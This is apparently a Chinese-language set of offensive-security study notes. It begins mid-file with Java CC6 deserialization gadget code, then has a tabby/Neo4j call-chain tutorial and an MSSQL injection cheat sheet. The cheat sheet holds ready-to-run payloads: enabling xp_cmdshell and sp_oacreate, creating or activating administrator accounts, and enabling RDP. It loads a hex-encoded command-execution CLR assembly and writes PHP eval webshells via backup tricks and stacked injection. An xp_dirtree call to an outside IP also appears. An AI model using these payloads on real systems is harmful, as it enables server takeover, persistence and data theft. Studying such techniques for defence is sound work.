TiedMapEntry tiedMapEntry=new TiedMapEntry(Lazymap,"a");

HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"aa");

Lazymap.remove("a");


Class b=LazyMap.class;
Field lazyfield=b.getDeclaredField("factory");
lazyfield.setAccessible(true);
lazyfield.set(Lazymap,chainedTransformer);


// serialize(map2);
unserialize("ser.bin");

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
return obj;
}
}

##总结
这次学了java的两条链,从反射等基础知识开始,到手写调用链,确实收获了很多,有几点回忆总结一下
1.印象比较深刻的是cc6也就是和urldns一样的地方,这里需要反射来更改值,不然之前的已经被put执行过一次了,就不会再重新走了
2.使用proxy动态代理的问题,如果是要调用一个内部对象的方法,那么就需要动态代理

java-tabby安装

##Neo4j
如果经过很多的导入/删除操作,图数据库占用了很多的硬盘存储,那么可以将原有的图数据库删除,重新按照上面的步骤新建图数据库。 删除所有约束

DROP CONSTRAINT c1;
DROP CONSTRAINT c2;
DROP CONSTRAINT c3;
DROP CONSTRAINT c4;
DROP INDEX index1;
DROP INDEX index2;
DROP INDEX index3;
DROP INDEX index4;
DROP INDEX index5;
DROP INDEX index6;
DROP INDEX index7;

##使用教程
这里使用的java版本是

要使用tabby,首先需要导出项目所有Jar包。在IDEA中,可以通过”File -> Project Structure -> Project Settings -> Artifacts”中添加一个Artifact,将项目打包出来,这样便能顺利导出所有项目相关的jar包以供tabby分析。

随后运行”Build -> Build Artifacts -> Rebuild”即可导出到/out目录中。随后我们将这些jar包全放到上文”安装tabby“一节中,创建的jars目录下。在运行最好将/cache目录下的文件删除。随后运行命令
##Neo4j查询

  • Neo4j是一个图数据库
  • Neo4j是一个图数据库,需要先明白如下几点:
  • Neo4j用的是CQL查询语言的图数据库,和MySQL这些使用SQL查询语言的关系型数据库语法不一样。但是思路还是一样的,无非是 数据查询+条件筛选关系型数据库存放的数据是按行和列查询,而图数据库是用节点和关系边进行查询。
    在代码分析中,有两个关键术语:Source和Sink。Source是输入,即用户可控部分;Sink是汇聚点,即危险代码。Tabby的思路是:通过Neo4j图数据库的节点和关系边,将每个方法之间的调用链用Neo4j的关系边串联起来。我们便可查询Source到Sink之间的调用路径。

##查询模版

match (source:Method {NAME:"execute"})
match (sink:Method {IS_SINK:true, NAME:"getInstance"})<-[:CALL]-(m1:Method)
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 20) yield path
return * limit 20

其中match()表示匹配哪些节点,类似于SQL中的select。
在match(source:Method{NAME:”execute”})这句话中,source是别名,Method是节点类,{NAME:”execute”}是匹配的节点内容,——》都是来自tabby生成的csv文件,并且一般是类json格式,有两个关键的节点:Method和Class

sql_server注入

##mssql注入

SQL Server的端口号是1433,数据库后缀名是.mdf,注释符是–。延时命令:WAITFOR DELAY '0:0:2'
###SQLServer有三个权限级别

  • sa权限:数据库操作、文件管理、命令执行、注册表读取等system。是最高权限
  • db权限:文件管理、数据库操作等权限
  • public权限:数据库操作guest-users

###判断当前用户权限

判断是否为SA权限
select is_srvrolemember('sysadmin')
判断是否为db_owner权限
select is_member('db_owner')
判断是否为public权限
select is_srvrolemember()
  • master数据库:master数据库控制SQL Server的所有方面。这个数据库中包括所有的配置信息、用户登录信息、当前正在服务器中运行的过程的信息。

  • model数据库: model数据库是建立所有用户数据库时的模板。当你建立一个新数据库时,SQL Server会把model数据库中的所有对象建立一份拷贝并移到新数据库中。在模板对象被拷贝到新的用户数据库中之后,该数据库的所有多余空间都将被空页填满。

  • msdb数据库:msdb数据库是SQL Server中的一个特例。如果你查看这个数据库的实际定义,会发现它其实是一个用户数据库。不同之处是SQL Server拿这个数据库来做什么。所有的任务调度、报警、操作员都存储在msdb数据库中。该库的另一个功能是用来存储所有备份历史。SQL Server Agent将会使用这个库。

  • tempdb数据库:tempdb数据库是一个非常特殊的数据库,供所有来访问你的SQL Server的用户使用。这个库用来保存所有的临时表、存储过程和其他SQL Server建立的临时用的东西。例如,排序时要用到tempdb数据库。数据被放进tempdb数据库,排完序后再把结果返回给用户。每次SQL Server重新启动,它都会清空tempdb数据库并重建。永远不要在tempdb数据库建立需要永久保存的表。
    ###SQL Server数据库的查询语句

    select @@version;       #查询数据库的版本
    select @@servername; #查询服务名
    select host_name(); #查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
    select db_name(); #查询当前数据库名
    select db_name(1); #查询第一个数据库名
    select db_name(2); #查询第二个数据库名
    select user; #查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner
    use tempdb #切换到tempdb表
    top n #查询前n条记录
    limit 2,3 #查询第2条开始的3条数据,也就是2,3,4
    select substring('string',2,1) #截取给定字符串的索引为2的1个字符
    select ascii('a') #查询给定字符串的ascii值
    select len('string') #查询给定字符串的长度
    EXEC sp_spaceused @updateusage = N'TRUE'; #查询当前数据库的大小
    sp_spaceused '表名' #查询指定表名的大小
    EXEC master.sys.xp_dirtree '\\192.168.106.5\xx.txt',0,1;

    判断是否是SA权限
    select is_srvrolemember('sysadmin')
    判断是否是db_owner权限
    select is_member('db_owner')
    判断是否是public权限
    select is_srvrolemember('public')

    #数据库的连接
    server=127.0.0.1;UID=sa;PWD=123456;database=master;Provider=SQLOLEDB
    mssql://sa:123456@127.0.0.1/XCCMS_SocialBusinessDB

    count(name)是查询总数
    name是查询名字
    *是查询详细信息

    #查询数据库
    select count(name) from sysdatabases #查询数据库的个数,只有当前数据库是master的时候,才能执行该命令
    select name from sysdatabases #查询数据库的名字
    select * from sysdatabases #查询所有数据库的信息

    #查询数据表
    select count(name) from sysobjects where type='U' #查询当前数据库中表的个数
    select name from sysobjects where type='U' #查询当前数据库中所有表的名字
    select * from sysobjects where type='U' #查询当前数据库的所有表的详细信息

    select count(name) from test..sysobjects where xtype='U' #查询指定test数据库中表的个数
    select name from test..sysobjects where xtype='U' #查询指定test数据库中表的名字
    select * from test..sysobjects where xtype='U' #查询指定test数据库中表的详细信息

    #查询列
    select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询当前数据库的指定users表的列的个数
    select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询当前数据库的指定users表的所有列的名字
    select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询当前数据库的指定users表的列的详细信息

    select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的列的个数
    select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的所有列的名字
    select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的列的详细信息

    #查询数据
    select count(*) from test..users #查询test数据库user表的数据的条数
    select * from test..users #查询test数据库user表的所有数据

    ###SA权限开启xp_cmdshell获取主机权限
    判断xp_cmdshell是否打开,1就是打开,0就是关闭

    select count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'  

    如果xp_cmdshell权限没开启的话,可以执行下面命令开启

    execute('sp_configure "show advanced options",1')  #将该选项的值设置为1
    execute('reconfigure') #保存设置
    execute('sp_configure "xp_cmdshell", 1') #将xp_cmdshell的值设置为1
    execute('reconfigure') #保存设置
    execute('sp_configure') #查看配置
    execute('xp_cmdshell "whoami"') #执行系统命令

    或者
    exec sp_configure 'show advanced options',1;
    reconfigure;
    exec sp_configure 'xp_cmdshell',1;
    reconfigure;
    exec sp_configure;
    exec xp_cmdshell 'whoami';


    可以执行系统权限之后,前提是获取的主机权限是administrators组里的
    exec xp_cmdshell 'net user Guest 123456' #给guest用户设置密码
    exec xp_cmdshell 'net user Guest /active:yes' #激活guest用户
    exec xp_cmdshell 'net localgroup administrators Guest /add' #将guest用户添加到administrators用户组
    exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' #开启3389端口

    ###SA权限使用sp_oacreate执行系统命令

使用sp_oacreate提权前提条件:

  • SQLServer数据库服务未降权(因为需要调用COM组件)

1.查看是否可以利用sp_oacreate执行系统命令

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'whoami'

如果SQLServer阻止了对组件‘Ole Automation Procedures’ 的过程 ‘sys.sp_OACreate’ 的访问,可以使用下面的命令打开

EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;

可以执行命令,但是sp_oacreate执行系统命令不回显
可以使用指令创建用户

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user hack Password@ /add'

**注:**创建用户以后可以使用mstsc,进行远程桌面连接
上述命令实现的是创建了一个用用户名为hack,密码为Password@的
###SA权限使用CLR执行系统命令


#启用MSSQL CLR功能
exec sp_configure 'show advanced options', 1;
RECONFIGURE;
Exec sp_configure 'clr enabled', 1;
RECONFIGURE;

#为了导入了不安全的程序集,我们还需要将数据库标记为安全。
ALTER DATABASE [master] SET TRUSTWORTHY ON;

#导入程序集,单独执行
CREATE ASSEMBLY [WarSQLKit] AUTHORIZATION [dbo] FROM 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000504500004c0103006643f55f0000000000000000e00022200b013000000e00000006000000000000022d0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000b02c00004f00000000400000b803000000000000000000000000000000000000006000000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002e74657874000000080d000000200000000e000000020000000000000000000000000000200000602e72737263000000b8030000004000000004000000100000000000000000000000000000400000402e72656c6f6300000c0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000e42c00000000000048000000020005005c220000540a00000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000be280e00000a72010000706f0f00000a280e00000a7243000070725300007002281000000a28020000066f0f00000a2a1b300600a40100000100001173040000060a731100000a0b076f1200000a026f1300000a03281400000a2d0c076f1200000a036f1500000a076f1200000a176f1600000a076f1200000a176f1700000a076f1200000a166f1800000a076f1200000a176f1900000a076f1200000a176f1a00000a06731b00000a7d010000040706fe0605000006731c00000a6f1d00000a140c076f1e00000a26076f1f00000a076f2000000a6f2100000a0c076f2200000ade390d280e00000a1b8d160000012516725d000070a2251702a2251803a225197291000070a2251a096f2300000aa2282400000a6f0f00000ade00076f2500000a2d1a280e00000a067b010000046f2600000a6f0f00000a3895000000731b00000a130408281400000a2d091104086f2700000a26067b010000046f2800000a2c20110472970000706f2700000a261104067b010000046f2600000a6f2700000a26280e00000a1c8d16000001251602a2251703a2251872af000070a22519076f2500000a13051205282900000aa2251a7291000070a2251b1104252d0426142b056f2600000aa2282400000a6f0f00000a067b010000046f2600000a2a011000000000870021a80039100000011e02282a00000a2a4e027b01000004046f2b00000a6f2700000a262a42534a4201000100000000000c00000076322e302e35303732370000000005006c00000038030000237e0000a4030000a804000023537472696e6773000000004c080000e80000002355530034090000100000002347554944000000440900001001000023426c6f620000000000000002000001571502000902000000fa013300160000010000001c000000030000000100000005000000050000002b0000000d000000010000000100000003000000010000000000b1020100000000000600ed01ae0306005a02ae03060038019b030f00ce03000006004c01cd020600d001cd020600b101cd0206004102cd0206000d02cd0206002602cd0206007901cd0206009401cd0206003004c6020a0063014e030e0009049b030600df02c602060020036e0406001d01ae030e00ee039b030a007a044e030a0015014e0306008e02c6020e00f7029b030e00c4009b030e0035039b0306000803360006001503360006002700c602000000002d00000000000100010001001000dd030000350001000100030110000100000035000100040006006404740050200000000096005e007800010080200000000096008b001a00020040220000000086189503060004004022000000008618950306000400482200000000830016007d000400000001007d0000000100e400000002001f04000001002e03000002000404090095030100110095030600190095030a00290095031000310095031000390095031000410095031000490095031000510095031000590095031000610095031000710095030600910095030600a1000c011500a90096001000b10029041a007900950306007900e9022d00b900d7001000b10098043200b90011041000b90085043700b900b4003c00b90078023700b9007b033700b90049043700890095030600c90095034200790066004800790043044e007900ed000600790069035200d900810057007900370406008100a8005700b10029045b0079009b00610069008c025700890001016500890095026100e1008c02570069009503060099004c005700200063000b012e000b0084002e0013008d002e001b00ac002e002300b5002e002b00cb002e003300cb002e003b00cb002e004300d1002e004b00e1002e005300cb002e005b00fe0063006b000b012000048000000100000000000000000000000000a00200000200000000000000000000006b005500000000000200000000000000000000006b004000000000000200000000000000000000006b00c60200000000030002000000003c3e635f5f446973706c6179436c617373315f30003c52756e436f6d6d616e643e625f5f3000496e743332003c4d6f64756c653e0053797374656d2e494f0053797374656d2e44617461006765745f44617461006d73636f726c696200436d6445786563006164645f4f757470757444617461526563656976656400636d640052656164546f456e640052756e436f6d6d616e640053656e64006765745f45786974436f6465006765745f4d657373616765007365745f57696e646f775374796c650050726f6365737357696e646f775374796c65007365745f46696c654e616d650066696c656e616d6500426567696e4f7574707574526561644c696e6500417070656e644c696e65006765745f506970650053716c5069706500436f6d70696c657247656e6572617465644174747269627574650044656275676761626c6541747472696275746500417373656d626c795469746c654174747269627574650053716c50726f63656475726541747472696275746500417373656d626c7954726164656d61726b41747472696275746500417373656d626c7946696c6556657273696f6e41747472696275746500417373656d626c79436f6e66696775726174696f6e41747472696275746500417373656d626c794465736372697074696f6e41747472696275746500436f6d70696c6174696f6e52656c61786174696f6e7341747472696275746500417373656d626c7950726f6475637441747472696275746500417373656d626c79436f7079726967687441747472696275746500417373656d626c79436f6d70616e794174747269627574650052756e74696d65436f6d7061746962696c697479417474726962757465007365745f5573655368656c6c4578656375746500546f537472696e67006765745f4c656e6774680057617253514c4b69744d696e696d616c0057617253514c4b69744d696e696d616c2e646c6c0053797374656d0053797374656d2e5265666c656374696f6e00457863657074696f6e006765745f5374617274496e666f0050726f636573735374617274496e666f0053747265616d526561646572005465787452656164657200537472696e674275696c6465720073656e646572004461746152656365697665644576656e7448616e646c6572004d6963726f736f66742e53716c5365727665722e536572766572006765745f5374616e646172644572726f72007365745f52656469726563745374616e646172644572726f72002e63746f720053797374656d2e446961676e6f73746963730053797374656d2e52756e74696d652e436f6d70696c6572536572766963657300446562756767696e674d6f6465730053746f72656450726f63656475726573004461746152656365697665644576656e744172677300617267730050726f63657373007365745f417267756d656e747300617267756d656e747300436f6e636174004f626a6563740057616974466f7245786974005374617274007365745f52656469726563745374616e646172644f7574707574007374644f75747075740053797374656d2e546578740053716c436f6e74657874007365745f4372656174654e6f57696e646f770049734e756c6c4f72456d707479000000004143006f006d006d0061006e0064002000690073002000720075006e006e0069006e0067002c00200070006c006500610073006500200077006100690074002e00000f63006d0064002e00650078006500000920002f006300200000334f00530020006500720072006f00720020007700680069006c006500200065007800650063007500740069006e006700200000053a002000001753007400640020006f00750074007000750074003a0000372000660069006e00690073006800650064002000770069007400680020006500780069007400200063006f006400650020003d0020000000c1b0e79eb8eb6348be1e0c1d83c2d05800042001010803200001052001011111042001010e04000012550500020e0e0e0c0706120c123d0e1241124508042000125d040001020e0420010102052001011161052002011c180520010112650320000204200012690320000e0500010e1d0e0320000805200112450e08b77a5c561934e08903061245040001010e062002011c124d0801000800000000001e01000100540216577261704e6f6e457863657074696f6e5468726f7773010801000200000000001501001057617253514c4b69744d696e696d616c00000501000000000f01000a457975702043454c494b00001c010017687474703a2f2f6579757063656c696b2e636f6d2e747200000c010007312e302e302e3000000401000000d82c00000000000000000000f22c0000002000000000000000000000000000000000000000000000e42c0000000000000000000000005f436f72446c6c4d61696e006d73636f7265652e646c6c0000000000ff25002000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000005c03000000000000000000005c0334000000560053005f00560045005200530049004f004e005f0049004e0046004f0000000000bd04effe00000100000001000000000000000100000000003f000000000000000400000002000000000000000000000000000000440000000100560061007200460069006c00650049006e0066006f00000000002400040000005400720061006e0073006c006100740069006f006e00000000000000b004bc020000010053007400720069006e006700460069006c00650049006e0066006f0000009802000001003000300030003000300034006200300000001a000100010043006f006d006d0065006e007400730000000000000022000100010043006f006d00700061006e0079004e0061006d00650000000000000000004a0011000100460069006c0065004400650073006300720069007000740069006f006e0000000000570061007200530051004c004b00690074004d0069006e0069006d0061006c0000000000300008000100460069006c006500560065007200730069006f006e000000000031002e0030002e0030002e00300000004a001500010049006e007400650072006e0061006c004e0061006d0065000000570061007200530051004c004b00690074004d0069006e0069006d0061006c002e0064006c006c00000000005400180001004c006500670061006c0043006f007000790072006900670068007400000068007400740070003a002f002f006500790075007000630065006c0069006b002e0063006f006d002e007400720000002a00010001004c006500670061006c00540072006100640065006d00610072006b00730000000000000000005200150001004f0072006900670069006e0061006c00460069006c0065006e0061006d0065000000570061007200530051004c004b00690074004d0069006e0069006d0061006c002e0064006c006c000000000036000b000100500072006f0064007500630074004e0061006d0065000000000045007900750070002000430045004c0049004b0000000000340008000100500072006f006400750063007400560065007200730069006f006e00000031002e0030002e0030002e003000000038000800010041007300730065006d0062006c0079002000560065007200730069006f006e00000031002e0030002e0030002e003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000c000000043d00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 WITH PERMISSION_SET = UNSAFE;
#创建存储过程,单独执行
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;
#执行命令
EXEC sp_cmdExec 'whoami';
#删除该程序集
DROP PROCEDURE sp_cmdExec;DROP ASSEMBLY [WarSQLKit];

###DB_owner权限LOG备份Getshell
无论是LOG备份还是差异备份,都是利用备份的过程中写入一句话木马
####利用前提

  • 目标机器存在数据库备份文件 ,也就是如果我们利用 test 数据库的话,则需要该test数据库存在数据库备份文件,而且恢复模式得是 完整模式
  • 知道网站的绝对路径
  • 支持堆叠注入
    alter database 数据库名 set RECOVERY FULL;   #修改数据库恢复模式为 完整模式
    create table cmd (a image); #创建一张表cmd,只有一个列 a,类型为image
    backup log 数据库名 to disk= 'C:\phpstudy\WWW\1.php' with init; #备份表到指定路径
    insert into cmd (a) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e); #插入一句话到cmd表里
    backup log 数据库名 to disk='C:\phpstudy\WWW\2.php'; #把操作日志备份到指定文件
    drop table cmd; #删除cmd表
    第四行的 0x3c3f70687020406576616c28245f504f53545b785d293b3f3e 是一句话木马 <?php @eval($_POST[x]);?> 的16进制表示

其中2.php才是我们的木马文件

####DB_owner权限差异备份Getshell

  • 知道绝对路径
  • 支持堆叠注入
    create table [dbo].[test] ([cmd] [image])
    declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x786965 backup log @a to disk = @s with init,no_truncate
    insert into [test](cmd) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e)
    declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x43003A005C00700068007000730074007500640079005C005700570057005C007300680065006C006C002E00700068007000 backup log @a to disk=@s with init,no_truncate
    Drop table [test]
    ###盲注SQLServer数据库

1.判断是否为SQLServer数据库

exists(select * from sysobjects)

2.判断当前数据库用户权限

and 1=(IS_SRVROLEMEMBER('sysadmin'))        //返回正常为sa
and 1=(IS_MEMBER('db_owner')) //返回正常为DB_OWNER
and 1=(IS_srvrolemember('public')) //public权限,较低

SA权限时,三个都返回true,DB_OWNER时sa就返回false
3.判断xp_cmdshell是否存在

and 1=(Select count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')  

开启后,如果需要执行命令,则需要堆叠注入
###利用堆叠注入获取SQLServer权限

  • 目标网站注入支持堆叠注入
  • 当前权限是SA权限
  • 使用sqlmap的 –os-shell 无法获取到权限
    利用思路:
    获取网站绝对路径后写马获取权限
    利用的查找命令:
    查找目标机器C盘下的test.txt文件
    for /r c:\ %i in (test*.txt) do @echo %i #这里的文件名后缀前那个点一定要加*号
    dir /s /b c:\test.txt
    利用过程:

1.已知目标网站下有一个test.txt文件

创建表hack,并添加一个tmp的字段
create table hack (tmp varchar(1000));--

查找网站绝对路径,并将其写入表中以供查询

2.查找目标机器C盘下的test.txt路径,并将结果写入刚刚创建的hack表的tmp字段
;insert into hack(tmp) exec master..xp_cmdshell 'dir /s /b c:\test.txt';--

;insert into hack(tmp) exec master..xp_cmdshell 'for /r c:\ %i in (test*.txt) do @echo %i'

3.
将木马写入网站根目录,需要注意的是<>前面都需要加上^

1;exec master..xp_cmdshell 'echo ^<?php @eval($_POST[x]);?^> > C:\phpstudy\www\shell.php';--